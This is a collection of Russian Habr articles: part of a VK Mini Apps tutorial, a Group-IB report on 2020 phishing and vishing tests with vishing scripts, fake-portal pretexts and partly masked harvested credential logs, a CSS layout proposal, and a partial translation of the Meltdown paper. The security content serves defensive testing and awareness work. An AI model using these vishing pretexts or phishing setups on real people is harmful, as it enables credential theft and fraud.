} from "@vkontakte/vkui";
import Icon36Done from "@vkontakte/icons/dist/36/done";
import CustomTextarea from "./YourComponents/CustomTextarea";
render() {
return (
{this.Actions.historyBack()}} />}
>App Title
This is the first page
======================
You can do some interaction here
Submit
)
}
```
Как видно, появился ещё один пакет vkontakte:
```
npm i —save-dev @vkontakte/icons
```
Можно воспользоваться [удобным менеджером](https://vkcom.github.io/icons/) по подбору нужной иконки.
**Основное правило** — правильно использовать компонент либо собственную верстку шапки. В правой части шапки нативное приложение «ВКонтакте» размещает кнопки управления.
Кастомный блок:
```
import {
Textarea
} from «@vkontakte/vkui»;
export default class CustomTextarea extends React.Component {
render() {
return (
Custom textarea is here
this.bindData(e, this.props.name)}
value={this.props.value}
className={this.props.className}
/>
```
);
}
}
Стоит обратить внимание: «ВКонтакте» заявляет, что компоненты могут отображаться на десктопах не совсем адекватно. Однако их можно стилизовать, добавляя свои css-правила. Например, так была стилизована анимация переходов между панелями в одном приложении:
```
.desktop_web {
.View__panel—prev {
max-width: 458px !important;
margin: 0 auto;
left: calc(50% — 230px) !important;
-webkit-animation: root-android-animation-hide-back 3s cubic-bezier(.4, 0, .2, 1);
animation: root-android-animation-hide-back 3s cubic-bezier(.4, 0, .2, 1);
}
.View__panel—next {
max-width: 460px !important;
left: calc(50% — 230px) !important;
}
}
```
Эти стили подключаются в общем потоке стилей, подключаемых к вашему приложению.
Библиотека VK Connect
---------------------
[Библиотека VK Connect](https://vk.com/dev/vk_apps_docs?f=4.%20VK%20Connect) предоставляет доступ к широким возможностям как самой сети «ВКонтакте», так и к возможностям устройства, если мы работаем из-под мобильного приложения. Для ее подключения нужно установить пакет [vkontakte](https://habr.com/ru/users/vkontakte/)/vk-connect: *npm i —save-dev [vkontakte](https://habr.com/ru/users/vkontakte/)/vk-connect*.
Среди многочисленных возможностей VK Connect — сканирование QR-кода, получение геопозиции, вызов карточки контактов. Также есть широкие возможности по использованию возможностей соцсети: включение-выключение уведомлений, публикация записей на стене, авторизация сообщества, подписка на сообщения. Их нужно использовать с умом: например, существует ограничение на количество уведомлений — не более одного в сутки. Есть [отдельные рекомендации по уведомлениям](https://vk.com/@vkappsdev-uvedomleniya-za-kotorye-polzovateli-skazhut-spasibo). Полный список возможностей [представлен в документации](https://vk.com/dev/vk_connect_events).
Чтобы наше приложение вообще начало работу, нужно сначала выполнить инициализацию:
```
import connect from ‘@vkontakte/vk-connect’;
connect.send(«VKWebAppInit», {});
```
Все дальнейшее взаимодействие с библиотекой происходит похожим образом. Методом connect.send вызываем нужное действие и слушаем ответы. Для этого мы должны подписаться на события:
```
connect.subscribe((e) => {
switch (e.detail.type) {
case «VKWebAppGetUserInfoResult» :
this.bindConnectUserData(e.detail.data);
break;
}
});
```
В объекте detail возвращается type — название типа события, ответ на которое мы ждем, и data — набор данных. В примере выше мы слушаем ответ на запрос connect.send(«VKWebAppGetUserInfo», {}), который должен вернуть данные о пользователе приложения: имя, пол, дату рождения, место проживания, ссылку на картинку аватара в соцсети.
«ВКонтакте» не гарантирует поддержку всех событий на всех устройствах (iOS, Android, Web), поэтому лучше делать проверку такой поддержки перед исполнением кода:
```
if (connect.supports(«VKWebAppGetUserInfo»)) …
```
VK Connect также обеспечивает поддержку запросов к [API VK](https://vk.com/dev/first_guide), если нужно что-то большее, чем может предоставить сама библиотека VK Connect:
```
connect.send(«VKWebAppCallAPIMethod», {«method»: «users.get», «request_id»: «your_unique_req_id», «params»: {«user_ids»: «1», «v»:»5.103″, «access_token»:»your_token»}});
```
VK Pay
------
VK Pay — это, по сути, удобный фронтенд для использования онлайн-сервиса оплаты с помощью Деньги Mail.Ru. Для вызова платежной формы достаточно открыть платежное окно с помощью вызова в библиотеке VK Connect:
```
connect.send(«VKWebAppOpenPayForm», {«app_id»: 888888, «action»: «pay-to-service», «params»: {}});
```
Таким образом, можно продавать ваши услуги и товары, используя внутреннее платежное средство в сети «ВКонтакте». Подробнее в [официальной документации](https://vk.com/dev/vkpay). | https://habr.com/ru/post/480974/ | null | ru | null |
# Социотехническое тестирование: какое лучше выбрать в 2021 году?
В интернете предостаточно статей о важности социотехнического тестирования. В них разбирается само понятие, методика, инструменты и почему так важно его проводить. Все просто: человек — слабое звено в системе защиты любой компании.
В этой статье команда **департамента аудита и консалтинга Group-IB** решила пойти дальше и поделиться своим опытом социотехнического тестирования, которое проводила в этом году. Расскажем, для каких целей использовать данный вид тестирования, какие форматы предпочитали компании, что лучше выбрать в следующем году, а также, каких результатов ждать.
Сразу предупреждаем, что текста получилось немало. Поэтому запасайтесь чаем, теплым свитером и любимой музыкой на фоне — перед вами новогоднее чтиво. Также, по нашей классике, спешим предупредить (*внимание: дисклеймер*), что все совпадения случайны, а читатель сам в праве думать, что в этих историях правда, а что — ложь.
С чего начинается социотехническое тестирование?
------------------------------------------------
Тестирование начинается с формулирования целей. Именно цель определяет остальные составляющие:
* время на подготовку к тестированию
* объем разведывательных работ
* формат тестирования
* условия, которые должна обеспечить компания для старта работ
* стоимость тестирования (эту составляющую не обсуждаем в статье)
Для чего и как проводить такое тестирование?
--------------------------------------------
Социотехническое тестирование может проводиться для установления:
* уровня осведомленности сотрудников и их практических навыков в распознавании социотехнических атак
* эффективности функционирования систем обеспечения информационной безопасности
* уровня подготовки сотрудников ИТ- и ИБ-отделов к выявлению и реагированию на социотехнические атаки (уровень осведомленности в вопросах безопасности данных сотрудников выше, что повышает сложность тестирования)
* возможности компрометации инфраструктуры (социотехническое тестирование может применяться для тестирования на проникновение)
Соотношение цели социотехнического тестирования (социальная инженерия или СИ) и других его составляющих представлено в таблице.
`| | Определить уровень подготовленности сотрудников | Определить эффективность функционирования СЗИ | Определить уровень подготовленности сотрудников ИТ- и ИБ-отделов | Компрометация инфраструктуры |
| --- | --- | --- | --- | --- |
| Формат тестирования | **∙** письма со ссылкой на поддельный ресурс (фишинг)
**∙** письма с исполняемым вложением (нагрузка)
**∙** телефонное взаимодействие (вишинг) | **∙** письма со ссылкой на поддельный ресурс (фишинг)
**∙** письма с исполняемым вложением (нагрузка) | **∙** письма со ссылкой на поддельный ресурс (фишинг)
**∙** письма с исполняемым вложением (нагрузка)
**∙** телефонное взаимодействие (вишинг) | **∙** письма со ссылкой на поддельный ресурс (фишинг)
**∙** письма с исполняемым вложением (нагрузка) |
| Начальные условия | **∙** ФИО сотрудников и email-адреса
**∙** номера телефонов, ФИО и/или должности сотрудников, а также любая другая информация согласно легенде
**∙** добавление в белые списки
(email-адреса, домены, СЗИ и т.д.) | **∙** ФИО сотрудников и email-адреса | **∙** ФИО сотрудников и email-адреса
**∙** номера телефонов, ФИО и/или должности сотрудников, а также любая другая информация согласно легенде
**∙** добавление в белые списки
(email-адреса, домены, СЗИ и т.д.) | **∙** входная информация не предоставляется |
| Время на подготовку | Одна неделя | Две недели | Одна-две недели | Три недели |`
Теория, теория… Где же обещанные истории?
-----------------------------------------
Да-да. Раз обещали рассказать про опыт и историями поделимся. Основные моменты мы расскажем немного позже — в кейсах. А сейчас немного отвлечемся на различные ошибки и просто любопытные моменты.
Очевидно, что одинаковое понимание целей и процедуры проведения социотехнического тестирования обеими сторонами (источником и потребителем), участвующими в тестировании, позволяет избежать ошибок, которые тормозят, угрожают срывом тестирования и негативно влияют на результаты.
Как показывает практика, ошибки, вызванные недопонимаем сторон, встречаются достаточно часто. Например, со стороны компаний, заказывающих социотехническое тестирование, нас поджидали следующие неожиданности:
* затягивание согласования легенды и предоставления адресов почты для рассылки
* предоставление неактуального списка сотрудников
* многократная отработка одной легенды на одних и тех же сотрудниках
* загрузка подготовленной полезной нагрузки в используемое СЗИ (да-да, здесь речь про проверку осведомленности/подготовленности сотрудников, а не СЗИ...)
* добавление сотрудников ИТ/ИБ-отделов в рабочую переписку (при том что их уровень осведомленности и проверялся)
Но будем честны — эксперты тоже не застрахованы от подобных ошибок, влияющих на результаты тестирования. И вот одна из них:
> *Представим, что в компании N проводится несколько социотехнических тестирований, каждое из которых включает телефонное взаимодействие с сотрудниками. Список сотрудников и их контакты предоставлял представитель компании.
>
>
>
> Первое телефонное взаимодействие было успешным: ряд сотрудников, поддавшись на уговоры эксперта, совершили потенциально опасные действия.
>
>
>
> Второе тестирование тоже: сотрудники поверили легенде и охотно выполнили все, о чем их попросили.
>
>
>
> А вот третье тестирование закончилось, не успев начаться. Уже на втором звонке легенда была раскрыта, сотрудник сказал, что дважды на одну удочку не попадется и оповестит о тестировании всех сотрудников, включая службу безопасности. Тестирование пришлось остановить.
>
>
>
> Шок! Как так? Поиск ошибки начали с повторной проверки списка сотрудников, заявленных на каждое из трех тестирований. Совпадений нет. Потом проверили номера телефонов… И вот он — один номер телефона, только в первом тестировании он заявлен для Ивановой Анны Сергеевны, а в третьем — для Петровой Анны Сергеевны (здесь и далее используются вымышленные имена). За время, прошедшее между тестированиями, девушка сменила фамилию.
>
>
>
> В ходе первого тестирования Иванова Анна Сергеевна поверила в легенду и выполнила все действия, следуя указаниям эксперта, а вот Петрова Анна Сергеевна быстро поставила на место нерадивого эксперта.
>
>
>
> Получается, что ошибка была допущена на этапе подготовки: эксперт проверил только фамилии сотрудников, но проигнорировал номера телефонов.*
Что из этого можно вынести? На ошибках учатся, и теперь мы внимательнее проверяем списки сотрудников, по разным критериям, разрабатываем сценарии отхода, а эксперты делятся друг с другом своими ошибками на Вики-страницах, чтобы не повторять их.
Разбираем тренды уходящего года
-------------------------------
### Форматы социотехнического тестирования
Мы покажем сводную статистику по всем социотехническим тестированиям, которые мы провели в 2020 году, а также разберем кейсы наиболее интересных и показательных проектов.
В проектах использовались следующие форматы социотехнического тестирования:
* рассылка фишинговых писем со ссылкой на поддельный ресурс — 52%
* рассылка фишинговых писем с исполняемым вложением — 36%
* телефонные звонки (вишинг) — 12%
Самым результативным (отношение количества попавшихся к общему числу получателей) из представленных форматов стал вишинг — 37%.
 О высокой результативности вишинга знают не только эксперты по информационной безопасности, но и реальные злоумышленники, а также различные блогеры и репортеры. Ведь не просто так в последние годы количество вишинг-атак растет.
2020 год отметился настоящим бумом вишинга — как в плане звонков от самих злоумышленников, так и в плане расследований СМИ. В этом году легенды вишинга стали более разнообразны и изобретательны: предложение медицинских и юридических услуг, звонки от лица сотрудника прокуратуры, и не стоит забывать о классике — расследование подозрительного перевода банком (порядком приевшийся прием, но, к сожалению, все еще работающий).
Высокая результативность вишинга объясняется следующими моментами:
* Заранее известна информация, которую нужно получить. Это позволяет сформировать сценарий разговора, проработать вопросы, которые надо задать для достижения цели. Есть возможность подготовить пути отхода, если собеседник начнет что-то подозревать.
* Большой объем работ по сбору информации о сотрудниках и компании, которая используется для формирования легенды и сценария разговора. Например:
— о сотрудниках: ФИО, номер мобильного телефона, добавочный номер, адрес корпоративной электронной почты, ник в телеграмме, отдел, в котором работает сотрудник, его должность, дата рождения и фото;
— о компании: наименования подразделений и имена руководителей ключевых подразделений; используемые внутренние системы.
* В разговоре используется информация, которая указывает на осведомленность эксперта о внутренних процессах компании; отсылки на распоряжения, якобы полученные от начальников структурных подразделений компании. Например:
> ***Эксперт***: *Здравствуйте, Татьяна Игоревна! Звоню вам по просьбе руководителя Владимира Алексеевича Кузнецова. У нас произошел инцидент ИБ: по вашему пропуску сегодня через систему контроля управления доступом был зафиксирован проход в хранилище M.*
* Эксперт демонстрирует эмоциональную заинтересованность в сложившейся ситуации или схожие интересы, чтобы притупить внимание собеседника:
> ***Эксперт***: *Вы пользуетесь ноутбуком только как рабочим компьютером или по каким-то еще личным делам?*
>
> ***Сотрудник***: *Ну, смотрю YouTube еще.*
>
> ***Эксперт***: *Да-да, я понимаю. Не переживайте. Просто возможно, что ваша доменная учетная запись была скомпрометирована и с ее помощью смогли пройти через СКУД.*
Также следует помнить про внезапность звонка (человек может не понять, кто звонит) и возможность подмены номера. Таким образом, все перечисленные приемы позволяют увеличить доверие со стороны сотрудника и ослабить его бдительность.
Что касается диалогов выше, все они приведены из реального разговора, который состоялся в рамках проекта по вишингу. В кейсе №1 подробнее рассказываем про проект и его результаты.
#### Кейс №1
**Цель:** получить информацию разной степени критичности (компания определила информацию, которую считала конфиденциальной).
**Легенда:** сотрудника уведомляют об инциденте ИБ — его пропуск использовали для несанкционированного прохода через СКУД в хранилище М. Служба безопасности расследует инцидент и звонит, чтобы узнать текущее местоположение пропуска, где находился пропуск в рабочее время, существуют ли альтернативные способы для прохождения СКУД. Звонят в нерабочее время (выходной день). Эксперт должен убедить сотрудника проверить доменную учетную запись на факт компрометации — сотрудника просят аутентифицироваться на резервном портале (фишинговый ресурс).
**Количество участников и инфраструктура под спойлером**
**Количество участников:** 50 человек.
**Инфраструктура:** поддельный домен, поддельный корпоративный портал, который при вводе учетных данных перенаправлял сотрудника на оригинальный портал.
Вернемся к Татьяне Игоревне и информации, которую она предоставила за время разговора:
* использует пропуск и специальный браслет для прохождения СКУД
* пропуск и браслет находятся дома
* использует корпоративную электронную почту дома
* предоставила свои учетные данные, введя их на фишинговом ресурсе:
`02.03.2020 13:48:25#0.2.0.2#ida****:rsa****55#Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 YaBrowser/19.3.1.828 Yowser/2.5 Safari/537.36`
Компания остановила тестирование сотрудников после того как:
* 29 телефонных взаимодействий было нами произведено;
* 23 сотрудника раскрыли конфиденциальную информацию различного уровня критичности.
Как видно из примера, вишинг может использоваться не только для получения личной или конфиденциальной информации, но и для получения прямого доступа к инфраструктуре.
### Какие могут быть результаты
Если сравнивать результативность рассылки фишинговых писем со ссылками на поддельный ресурс и писем с исполняемым вложением, то лидирует первый тип.
Один из ключевых факторов успеха в том, что рядовой сотрудник зачастую не разбирается в доменах, поддоменах и пр. Как следствие, он не видит разницы между **portal-domain.ru** и **portal.domain.ru**. Слова и порядок их употребления совпадают и там, и там, а вот символы можно пропустить по невнимательности или в спешке.
В свою очередь, рассылка фишинговых писем с исполняемым вложением предполагает большую вовлеченность со стороны сотрудников, поэтому данный формат тестирования показывает наименьшую результативность.
Однако сотрудники, открывшие вредоносные вложения, чаще вступают в переписку с экспертами, чем при работе с фишинговым ресурсом. Это позволяет эксперту продолжать воздействие для достижения своих целей.
Например, в попытке спасти якобы утерянные данные об отпусках сотрудники присылали не только свой график отпуска, но и файл на весь отдел, а там тысячи сотрудников со всеми данными и структура компании.
*Также сотрудники часто пересылают письма своим коллегам.*
#### Кейс №2
**Цель:** оценить осведомленность сотрудников в вопросах информационной безопасности.
**Легенда:** ознакомиться с новой системой премирования. К письму прилагался документ «Премии.xls».
**Количество участников и инфраструктура под спойлером**
**Количество участников:** 75 человек.
**Инфраструктура:** поддельный домен, поддельный почтовый адрес (якобы принадлежащий отделу по работе с персоналом), вредоносная нагрузка, которая выполнялась в ОС удаленного компьютера, обеспечивала соединение с ним и собирала данные о конфигурации ОС.
За время тестирования удалось успешно подключиться к компьютерам 11 сотрудников (14% участников). Столкнувшись якобы с проблемой в работе документа, сотрудники вступали в переписку с экспертами — в том числе и не заявленные в тестировании сотрудники.
Пример одной из таких переписок ниже:
В итоге сотрудник прислал ответное письмо, которое содержало скриншот рабочего стола.
Окей, возвращаемся к тенденциям
-------------------------------
В 2020-м стали чаще появляться новости о том, что злоумышленники используют фишинг и вишинг в рамках одной атаки. К примеру, в начале декабря сообщалось, что злоумышленники рассылают уведомления о долгах за ЖКУ в размере 10–20 тысяч рублей, которые якобы появились за время карантина, и просят оплатить поддельные квитанции онлайн.
Если человек проигнорировал письмо – ему звонили от имени сотрудника управляющей компании для проверки ранее совершенных платежей. Преступники убеждали, что долг по квартплате есть, и узнавали способы оплаты и реквизиты карты, которая использовалась для платежа, а затем предлагали сделать пробную транзакцию и сообщить им код из SMS.
Для нас это не было новостью, и к тому моменту мы уже опробовали подобную схему на некоторых проектах: сначала рассылали сотрудникам фишинговые письма, а в случае низкого отклика звонили и в ходе разговора провоцировали сотрудника открыть файл или перейти по ссылке и выполнить действия, указанные в письме, или узнавали, почему он отказался выполнять инструкцию.
В результате сотрудники, которые изначально не хотели переходить по ссылке или не были заинтересованы в предлагаемой акции, меняли отношение к нашему фишинговому письму и, поддавшись на уговоры эксперта, делали то, что угрожало безопасности компании.
Таким образом, проекты, в которых одновременно использовались фишинг и вишинг, оказались более результативными, чем те, где использовался только фишинг. Сотрудники, которые подозревали, что проводится тестирование, меняли свое мнение, верили в легитимность писем и охотно шли на контакт с экспертами.
*Примечание: для построения третьей диаграммы использовались общие результаты тестирования в формате фишинговых рассылок, дополняемые вишинг-активностью.*
### Легенды
Следует отметить, что при разработке легенды учитывается сфера деятельности компании и основной вид деятельности тестируемых сотрудников, но в основе всегда лежит сильная эмоция, которая притупляет внимание и провоцирует на необдуманные действия: жадность, любопытство, страх, доверчивость.
Ниже представлены основные примеры легенд:
* Изменение в графике работы
* Изменение в IT-системах
* Система премирования
* Скидки и бонусы
* События в компании
Самой результативной легендой было информирование об изменениях в системе премирования.
 Кроме того, упоминание легитимного сервиса, используемого многими компаниями, такого как Office 365, повышает доверие сотрудника. Такой подход часто используют реальные злоумышленники для проведения социотехнических атак.
Реалии 2020-го привнесли новое веяние в легенды социотехнического тестирования, да и реальных атак тоже. На первый план вышла коронавирусная инфекция и все, что с ней связано.
Когда коронавирус только начинался, компании просили не использовать его в качестве легенды, поскольку отсылка к столь актуальной теме гарантировала высокую результативность и негативно сказывалась на настроении сотрудников. Мы отвечали, что реальные злоумышленники не так этичны и активно используют эту легенду с начала пандемии, но получали категорический отказ. В результате табу на использование COVID-19 было снято с введением новых ограничительных мер осенью. Возможно, именно в этот момент компании осознали, что коронавирус с нами надолго и его игнорирование может привести к рискам.
Первый же проект с COVID-19 продемонстрировал неослабевающий интерес людей к данной теме и, как следствие, больше половины участников тестирования выполнили потенциально опасные действия.
Пожалуйста, прислушивайтесь к экспертам при выборе легенд.
#### Кейс №3
**Цель:** оценить осведомленность сотрудников в вопросах информационной безопасности.
**Легенда:** проверить сервис удаленного доступа, поскольку сотрудники переходят на удаленную работу из-за COVID-19. Для проверки доступа надо ввести учетные данные от рабочего компьютера на фишинговой странице, которая копировала страницу входа на VPN-портал.
**Количество участников и инфраструктура под спойлером**
**Количество участников:** 150 человек.
**Инфраструктура:** поддельный домен, поддельный почтовый адрес (якобы принадлежащий ИТ-отделу), поддельная страница входа на VPN-портал.
Пример письма для рассылки:
Мы получили следующие результаты:
Нужно больше тестирований или «что будет в периоде»
---------------------------------------------------
Каждая подобная статья заканчивается списком рекомендаций, которые позволят повысить осведомленность сотрудников в вопросах информационной безопасности.
К примеру, проверять источник письма или путь, по которому ведет ссылка. В целом, разумная рекомендация, но на практике не всегда работает. Вот смотрите: сотрудник, который получает 15 писем в день (возможно, среди читателей найдутся те, кто мечтает получать \*всего\* 15 писем в день), а чтение и участие в переписке не его основной вид деятельности, не будет до буквы, до знака проверять адрес отправителя или сверять его ФИО с корпоративным списком контактов.
Он увидит знакомый набор символов (самое время вспомнить про **portal-domain.ru** и **portal.domain.ru**), а должность отправителя и тема письма определят, в какую очередь он ответит на письмо. Возможно, ответная реакция на фишинговое письмо случится не сразу, но в свое время ссылка будет открыта, а исполняемое вложение — запущено.
Еще одна типичная рекомендация — регулярные тестирования персонала. Это замечательно, но тоже не всегда работает. Почему — смотрите в кейсе №4.
#### Кейс №4
Компания М время от времени организовывала социотехническое тестирование своих сотрудников. Какого-то ощутимого прогресса в знаниях основ информационной безопасности не наблюдалось: сотрудники продолжали переходить по ссылкам, вступать в переписку и выполнять просьбы.
Чтобы продемонстрировать, что положительная динамика возможна только при регулярном тестировании, решили провести четыре социотехнических тестирования в течение года (в начале каждого квартала). Все тестирования проводились в одном формате, но под разными легендами, а участвовали в них сотрудники одного подразделения.
Результат регулярного тестирования оказался таким же, как и у нерегулярного: сотрудники переходили по ссылкам, вступали в переписку и раскрывали конфиденциальную информацию. Результативность отдельного тестирования в большей степени определялась актуальностью легенды. В 3 квартале легенда с COVID-19 заставила людей забыть о тренингах, наставлениях и рекомендациях.
Даже сотрудники с достаточными знаниями, умеющие распознавать атаки социальной инженерии, склонны проявлять халатное отношение к социотехническому тестированию: раз это очередной тест, то нет ничего страшного, если написать все, что думаешь по этому поводу. Вот только где уверенность, что это не реальная атака?
#### Кейс №5
В этом примере демонстрируем, как выявленное на ранних этапах социотехническое тестирование оказалось результативным только из-за того, что сотрудники, распознавшие тестирование, не оповестили о нем коллег.
**Цель:** получить валидные учетные данные сотрудников.
**Легенда:** проверить наличие доступа к новому корпоративному порталу.
**Количество участников и инфраструктура под спойлером**
**Количество участников:** 200 человек.
**Инфраструктура:** поддельный домен, поддельный почтовый адрес (якобы принадлежащий отделу техподдержки), поддельный корпоративный портал, который при вводе учетных данных перенаправлял сотрудника на оригинальный портал.
Активная фаза социотехнического тестирования началась 11 февраля 2020 года в 13:30 (МСК).
Первые учетные данные мы получили через 4 минуты:
`| Дата и время | IP-адрес /
MAC-адрес | Введенные логин и пароль | Общая информация о конфигурации рабочей станции |
| --- | --- | --- | --- |
| 11.02.2020 13:34 | 0.0.0.1 | ni\*\*\*\*\*\*\*\*\*a:V\*\*\*\*\*\*v | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36 |
| 11.02.2020 13:34 | 0.0.0.6 | mi\*\*\*\*a:2\*\*\*\*\*\*aB3 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_13\_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 |`Примерно через 30 минут после начала тестирования получили данные, явно указывающие, что легенда раскрыта и сотрудники либо догадались о проводимом тестировании, либо заподозрили атаку: вместо учетных данных в логах собиралась ненормативная лексика.
`| Дата и время | IP-адрес /
MAC-адрес | Введенные логин и пароль | Общая информация о конфигурации рабочей станции |
| --- | --- | --- | --- |
| 11.02.2020 14:02 | 0.0.0.71 | Idi \*\* \*\*\* sobaka:ahahhahaha | Mozilla/5.0 (X11; Linux x86\_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 |`Судя по полученным результатам (IP-адрес и информация о рабочей станции), мы подозревали, что это администратор. К этому моменту получили уже 37 учетных данных. Цель достигнута!
Тестирование можно сворачивать и садиться за отчет, но сотрудники продолжали вводить учетные данные. Последний ввод данных был зафиксирован 17 февраля. Следовательно, сотрудники, распознавшие тестирование (или атаку), не предупредили об этом своих коллег.
`| Дата и время | IP-адрес /
MAC-адрес | Введенные логин и пароль | Общая информация о конфигурации рабочей станции |
| --- | --- | --- | --- |
| 17.02.2020 14:08 | 0.0.0.55 | Ty\*\*\*\*\*\*\*\*v:T\*\*\*\*\*\*\*\*\*\*rah | Mozilla/5.0 (iPhone; CPU iPhone OS 12\_1\_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1 |`Всего получили 76 уникальных учетных данных. Валидность каждой пары была подтверждена.
Подобное поведение показывает, что сотрудники не до конца понимают, как себя вести при выявлении социотехнической атаки. Важно научить не только распознавать социотехнические атаки, но и правильно на них реагировать.
В случае распознавания атаки или социотехнического тестирования сотрудник не должен идти на контакт со злоумышленником (или экспертом) ни при каком условии и должен немедленно оповестить ответственных за информационную безопасность.
Итоги, проблемы и рекомендации
------------------------------
Наверное, уже пора заканчивать со всеми этими рассказами и историями.
Может показаться, что конец какой-то пессимистичный (какой год — такой и конец): сотрудники необучаемы, рассеяны и бизнес все еще в опасности.
На самом деле все не так плохо и не стоит отчаиваться. Обращайтесь к экспертам в области практической безопасности — они расскажут об актуальных тенденциях в социотехнических атаках, порекомендуют лучший именно для вас формат тестирования.
Также не забывайте о простых правилах цифровой гигиены и рекомендациях по повышению осведомленности в ИБ.
Мы уже говорили, что в интернете достаточно статей о социотехническом тестировании (такая есть и [у нас](https://habr.com/ru/company/group-ib/blog/483652/)), а также статей с рекомендациями по повышению защиты. Поэтому хотим в очередной раз просто напомнить, что здесь нужен комплексный подход, а значит следует помнить о:
* регулярном обучении и опросе сотрудников
* понятной поставке материалов и гайдов (Вики-страницы, видео и т.п.)
* обязательной двухфакторной аутентификации
* разграничении доступа и минимизации прав пользователей
* хорошей фильтрации электронной почты
* средствах защиты от целенаправленных атак
##### Возвращаясь к основному вопросу: что же выбрать в 2021-м?
Мы решили оставить его на размышление вам. Рекомендуем попробовать фишинг + вишинг или только вишинг. Поможет сотрудникам не только в корпоративной среде, но и при подобных атаках в нерабочей обстановке.
Главное, про что стоит помнить: обучение и социотехнические тестирования должны быть направлены на формирование культуры поведения, которая позволит своевременно выявлять и эффективно реагировать на различные атаки.
Стоит сместить фокус с заучивания обязательных действий по обнаружению социотехнических атак на объяснение, почему их должен выполнять каждый сотрудник в компании. Без осознанного подхода к информационной безопасности со стороны сотрудников ни одна обучающая программа не сработает. | https://habr.com/ru/post/535092/ | null | ru | null |
# Новое предложение в W3C/CSS — Flexible Flow Module
Все кто профессионально работают с CSS знают что означенный инструмент достаточно беден на предмет layout management. Например в современном CSS (2.1 и 3) технически невозможно воспрозвести все возможности HTML таблиц.
В Java/AWT/Swing например с самого начала были заложены всяко разны [Layout Managers](http://java.sun.com/docs/books/tutorial/uiswing/layout/visual.html). В CSS такого в чистом виде нет. Непорядок.
Собственно это и явилось причиной [нашего предложения](http://lists.w3.org/Archives/Public/www-style/2009Apr/0154.html) в W3C CSS WG.
Идея проста «как двери»:
1) Вводим один CSS атрибут 'flow' и
2) Единицы измерения — flex.
'flow' принимает значения: `horizontal` | `vertical` | `horizontal-flow` | `vertical-flow` | `"template"`
и описывает разные способы размещения блоков внутри контейнера сиречь описывает layout manager.
flex units это веса распределения свободного места в контейнере. Записывются как <число> '\*', например:
margin-left:2\*. Для наглядности flex length units можно представлять как пружины имеющие определенный вес.
Вот для наглядности:
Параграф на картинке спозиционирован этим вот стилем:
```
p
{
width: 40%; /* fixed width - 40% of width of the container */
margin-left: 2*; /* left "spring" of power 2 */
margin-right: 1*; /* right "spring" of power 1 */
border:1px solid black; /* border of fixed width */
}
```
Те кто знает что скажем обозначает запись в HTML [frameset cols=«200,\*,\*»] я думаю сразу «въедут» в идею флексов.
По поводу идеи 'flow' атрибута и его значений рекомендую пробежаться хотя бы по иллюстрациям в тексте самого proposal: [www.terrainformatica.com/w3/flex-layout/flex-layout.htm](http://www.terrainformatica.com/w3/flex-layout/flex-layout.htm)
Вот такие новости с фронтов CSS3 и HTML5 | https://habr.com/ru/post/59255/ | null | ru | null |
# Технические подробности. Уязвимость Meltdown — CVE-2017-5754
От автора
=========
**Важно! Уязвимость на самом деле это 3 уязвимости — Meltdown, Spectre 1, Spectre 2**
Здравствуй хабр! Сегодня у нас перевод [заметки](https://meltdownattack.com/meltdown.pdf) про уязвимость Meltdown (CVE-2017-5754). Переведена только первая страница и основная часть заметки для понимания данной уязвимости.
Meltdown
========
Общее
-----
Безопасность современной компьютерной системы (прим. автора. Смартфоны, компьютеры, практически любые носимые устройства с возможностью запуска кода не от производителя) основывается на изоляции адресного пространства, для примера память ядра помечена недоступной и защищена от доступа со стороны пользователя. В этой заметке мы представляем вам Meltdown. Meltdown эксплуатирует побочный эффект исполнения-вне-очереди (out-of-order execution) в современных процессорах, чтобы прочитать данные из ядра, в том числе личную информацию и пароли. Исполнение-вне-очереди сильно влияет на производительность и включено в большинство современных процессоров. Атака не зависима от операционной системы и не эксплуатирует программные уязвимости. Meltdown ломает всю безопасность системы основанную на изоляции адресного пространства в том числе паравиртуализованного.
Meltdown позволяет читать часть памяти других процессов и виртуальных машин. Мы покажем, что система KAISER имеет важный побочный эффект в виде в блокировке Meltdown (но является костылем). Мы настаиваем на включении KAISER незамедлительно для исключения утечки информации.
Введение
--------
Безопасность современной компьютерной системы основываясь на изоляции адресного пространства. Операционные системы гарантируют изоляцию отдельных процессов. В современных процессорах разделение состояния между процессами ядра (kernel process) и процессами пользователя (user process) обеспечивается благодаря биту гипервизора. Вся концепция заключаться в том, что этот бит сброшен в пользовательском процессе и установлен в процессе ядра. Смена процессов происходит по прерыванию (interrupt) и системным вызовам (system call / syscall). В настоящий момент адресации памяти не меняться во время системных вызовов и прерываний. Meltdown работает на процессорах Intel 2010-х годов, а также потенциально может затрагивать процессоры других производителей (прим. автора: AMD, VIA). Meltdown эксплуатирует побочный эффект исполнения-вне-очереди (out-of-order execution) в современных процессорах, чтобы прочитать данные из ядра, в том числе личной информации и паролей.
Процессор вместо того, чтобы ждать данных из внешних шин с большой задержкой и простаивать начинают исполнение инструкций и заполняют части ядра, которые простаивают. Но данные действия имеют побочный эффект — разницу в времени исполнения инструкций.
Уязвимые процессоры позволяют непривилегированному процессу исполнять код вне очереди и загружать данные из памяти ядра в временный регистр. Даже больше — процессор производит вычисления на основе значения этого регистра, например загрузить данные из массива данных в зависимости от значения регистра. Процессор гарантируют корректное исполнение кода сбрасывая результат исполнения, например записанный регистр, если результат предсказания неверный. Таким образом никаких проблем на архитектурном уровне не возникает. Но, как было замечено, исполнение вне очереди имеет побочный эффект — заполнение кэша в зависимости от кода исполняемого вне очереди. Таким образом атакующий может прочитать все данные адресное пространство ядра используя особенность микроархитектуры.
Meltdown работает на современных персональных компьютерах и лэптопах, как и на серверах в облаках. Также в песочницах основанных на разделении ядра — паравиртуализация и песочница внутри процесса.
Контрмера KAISER предотвращает атаки нацеленные на KASLR и случайно защищает от атаки Meltdown.
Абстрактный пример
------------------
```
raise_exception();
access(probe_array[data * 4096])
```
Второя строка никогда не будет исполнена.
Чем бы не была вызвана ошибка, она переводит состояние исполнения-вне очереди в контексте ошибки — чаще всего ядра.
Не смотря на то, что вторая строка кода не была исполнена *на архитектурном уровне*, но она изменила состояние кэша *на миркоархитекурном уровне*.
.
